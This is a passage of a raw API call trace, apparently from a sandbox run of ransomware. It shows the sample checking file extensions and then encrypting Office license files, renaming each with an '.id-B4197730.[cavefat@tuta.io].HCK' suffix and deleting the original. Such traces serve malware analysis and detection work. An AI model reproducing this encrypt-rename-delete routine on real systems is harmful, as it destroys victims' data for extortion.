lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0242.421] lstrlenW (lpString=".zip") returned 4 [0242.421] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.421] lstrlenW (lpString=".rar") returned 4 [0242.421] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.421] lstrlenW (lpString=".bz2") returned 4 [0242.421] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.421] lstrlenW (lpString=".7z") returned 3 [0242.421] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0242.421] lstrlenW (lpString=".dbf") returned 4 [0242.421] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0242.421] lstrlenW (lpString=".1cd") returned 4 [0242.421] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0242.421] lstrlenW (lpString=".jpg") returned 4 [0242.421] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0242.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0242.421] lstrlenW (lpString=".doc") returned 4 [0242.421] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.421] lstrlenW (lpString=".docx") returned 5 [0242.421] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.421] lstrlenW (lpString=".pdf") returned 4 [0242.421] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.421] lstrlenW (lpString=".xls") returned 4 [0242.421] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.421] lstrlenW (lpString=".xlsx") returned 5 [0242.421] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.421] lstrlenW (lpString=".ppt") returned 4 [0242.421] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0242.421] lstrlenW (lpString=".zip") returned 4 [0242.422] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.422] lstrlenW (lpString=".rar") returned 4 [0242.422] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.422] lstrlenW (lpString=".bz2") returned 4 [0242.422] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.422] lstrlenW (lpString=".7z") returned 3 [0242.422] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0242.422] lstrlenW (lpString=".dbf") returned 4 [0242.422] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0242.422] lstrlenW (lpString=".1cd") returned 4 [0242.422] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ppd.xrm-ms") returned 77 [0242.422] lstrlenW (lpString=".jpg") returned 4 [0242.422] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.422] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0242.422] lstrlenW (lpString="MondoR_SubTrial2-ul-oob.xrm-ms") returned 30 [0242.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0242.423] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=11600) returned 1 [0242.423] CloseHandle (hObject=0x558) returned 1 [0242.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms")) returned 0x220 [0242.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0242.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0242.423] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.423] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0242.424] GetLastError () returned 0x0 [0242.424] ReadFile (in: hFile=0x558, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x2d50, lpOverlapped=0x0) returned 1 [0242.545] WriteFile (in: hFile=0x340, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2d60, lpOverlapped=0x0) returned 1 [0242.546] ReadFile (in: hFile=0x558, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0242.546] WriteFile (in: hFile=0x340, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x110, lpOverlapped=0x0) returned 1 [0242.546] SetEndOfFile (hFile=0x340) returned 1 [0242.546] CloseHandle (hObject=0x340) returned 1 [0242.546] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.546] SetEndOfFile (hFile=0x558) returned 1 [0242.548] CloseHandle (hObject=0x558) returned 1 [0242.548] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.549] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subtrial2-ul-oob.xrm-ms")) returned 1 [0242.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0242.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0242.550] lstrlenW (lpString=".doc") returned 4 [0242.550] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.550] lstrlenW (lpString=".docx") returned 5 [0242.550] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.550] lstrlenW (lpString=".pdf") returned 4 [0242.550] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.550] lstrlenW (lpString=".xls") returned 4 [0242.550] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.550] lstrlenW (lpString=".xlsx") returned 5 [0242.550] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.550] lstrlenW (lpString=".ppt") returned 4 [0242.550] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0242.550] lstrlenW (lpString=".zip") returned 4 [0242.550] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.550] lstrlenW (lpString=".rar") returned 4 [0242.550] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.550] lstrlenW (lpString=".bz2") returned 4 [0242.550] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.550] lstrlenW (lpString=".7z") returned 3 [0242.550] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0242.550] lstrlenW (lpString=".dbf") returned 4 [0242.550] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0242.550] lstrlenW (lpString=".1cd") returned 4 [0242.550] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0242.550] lstrlenW (lpString=".jpg") returned 4 [0242.550] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0242.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0242.550] lstrlenW (lpString=".doc") returned 4 [0242.550] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.550] lstrlenW (lpString=".docx") returned 5 [0242.550] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.550] lstrlenW (lpString=".pdf") returned 4 [0242.550] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.550] lstrlenW (lpString=".xls") returned 4 [0242.550] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.550] lstrlenW (lpString=".xlsx") returned 5 [0242.551] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.551] lstrlenW (lpString=".ppt") returned 4 [0242.551] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0242.551] lstrlenW (lpString=".zip") returned 4 [0242.551] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.551] lstrlenW (lpString=".rar") returned 4 [0242.551] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.551] lstrlenW (lpString=".bz2") returned 4 [0242.551] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.551] lstrlenW (lpString=".7z") returned 3 [0242.551] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0242.551] lstrlenW (lpString=".dbf") returned 4 [0242.551] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0242.551] lstrlenW (lpString=".1cd") returned 4 [0242.551] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_SubTrial2-ul-oob.xrm-ms") returned 80 [0242.551] lstrlenW (lpString=".jpg") returned 4 [0242.551] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.551] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0242.551] lstrlenW (lpString="MondoVL_KMS_Client-ppd.xrm-ms") returned 29 [0242.551] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0242.552] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=12479) returned 1 [0242.552] CloseHandle (hObject=0x558) returned 1 [0242.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms")) returned 0x220 [0242.553] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0242.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0242.553] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.553] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0242.555] GetLastError () returned 0x0 [0242.555] ReadFile (in: hFile=0x558, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x30bf, lpOverlapped=0x0) returned 1 [0242.557] WriteFile (in: hFile=0x340, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x30c0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x30c0, lpOverlapped=0x0) returned 1 [0242.558] ReadFile (in: hFile=0x558, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0242.558] WriteFile (in: hFile=0x340, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x10e, lpOverlapped=0x0) returned 1 [0242.558] SetEndOfFile (hFile=0x340) returned 1 [0242.558] CloseHandle (hObject=0x340) returned 1 [0242.558] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.558] SetEndOfFile (hFile=0x558) returned 1 [0242.560] CloseHandle (hObject=0x558) returned 1 [0242.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.561] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ppd.xrm-ms")) returned 1 [0242.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0242.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0242.561] lstrlenW (lpString=".doc") returned 4 [0242.561] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.561] lstrlenW (lpString=".docx") returned 5 [0242.561] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.561] lstrlenW (lpString=".pdf") returned 4 [0242.561] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.561] lstrlenW (lpString=".xls") returned 4 [0242.561] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.562] lstrlenW (lpString=".xlsx") returned 5 [0242.562] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.562] lstrlenW (lpString=".ppt") returned 4 [0242.562] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0242.562] lstrlenW (lpString=".zip") returned 4 [0242.562] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.562] lstrlenW (lpString=".rar") returned 4 [0242.562] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.562] lstrlenW (lpString=".bz2") returned 4 [0242.562] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.562] lstrlenW (lpString=".7z") returned 3 [0242.562] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0242.562] lstrlenW (lpString=".dbf") returned 4 [0242.562] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0242.562] lstrlenW (lpString=".1cd") returned 4 [0242.562] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0242.562] lstrlenW (lpString=".jpg") returned 4 [0242.562] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0242.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0242.562] lstrlenW (lpString=".doc") returned 4 [0242.562] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.562] lstrlenW (lpString=".docx") returned 5 [0242.562] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0242.562] lstrlenW (lpString=".pdf") returned 4 [0242.562] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0242.562] lstrlenW (lpString=".xls") returned 4 [0242.562] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0242.562] lstrlenW (lpString=".xlsx") returned 5 [0242.562] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0242.562] lstrlenW (lpString=".ppt") returned 4 [0242.562] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0242.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0242.562] lstrlenW (lpString=".zip") returned 4 [0242.562] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0242.562] lstrlenW (lpString=".rar") returned 4 [0242.562] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0242.562] lstrlenW (lpString=".bz2") returned 4 [0242.562] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0242.562] lstrlenW (lpString=".7z") returned 3 [0242.562] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0242.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0242.562] lstrlenW (lpString=".dbf") returned 4 [0242.562] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0242.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0242.562] lstrlenW (lpString=".1cd") returned 4 [0242.563] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0242.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ppd.xrm-ms") returned 79 [0242.563] lstrlenW (lpString=".jpg") returned 4 [0242.563] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0242.563] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0242.563] lstrlenW (lpString="MondoVL_KMS_Client-ul-oob.xrm-ms") returned 32 [0242.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0242.564] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=11609) returned 1 [0242.564] CloseHandle (hObject=0x558) returned 1 [0242.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms")) returned 0x220 [0242.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0242.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0242.564] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.564] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0242.565] GetLastError () returned 0x0 [0242.565] ReadFile (in: hFile=0x558, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x2d59, lpOverlapped=0x0) returned 1 [0242.566] WriteFile (in: hFile=0x340, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x2d60, lpOverlapped=0x0) returned 1 [0242.567] ReadFile (in: hFile=0x558, lpBuffer=0x3720020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0242.567] WriteFile (in: hFile=0x340, lpBuffer=0x3720020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3720020*, lpNumberOfBytesWritten=0x2bdfc94*=0x114, lpOverlapped=0x0) returned 1 [0242.567] SetEndOfFile (hFile=0x340) returned 1 [0242.567] CloseHandle (hObject=0x340) returned 1 [0242.567] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0242.567] SetEndOfFile (hFile=0x558) returned 1 [0242.570] CloseHandle (hObject=0x558) returned 1 [0242.570] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0242.570] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondovl_kms_client-ul-oob.xrm-ms")) returned 1 [0242.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0242.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0242.571] lstrlenW (lpString=".doc") returned 4 [0242.571] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0242.571] lstrlenW (lpString=".docx") returned 5 [0242.571] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") 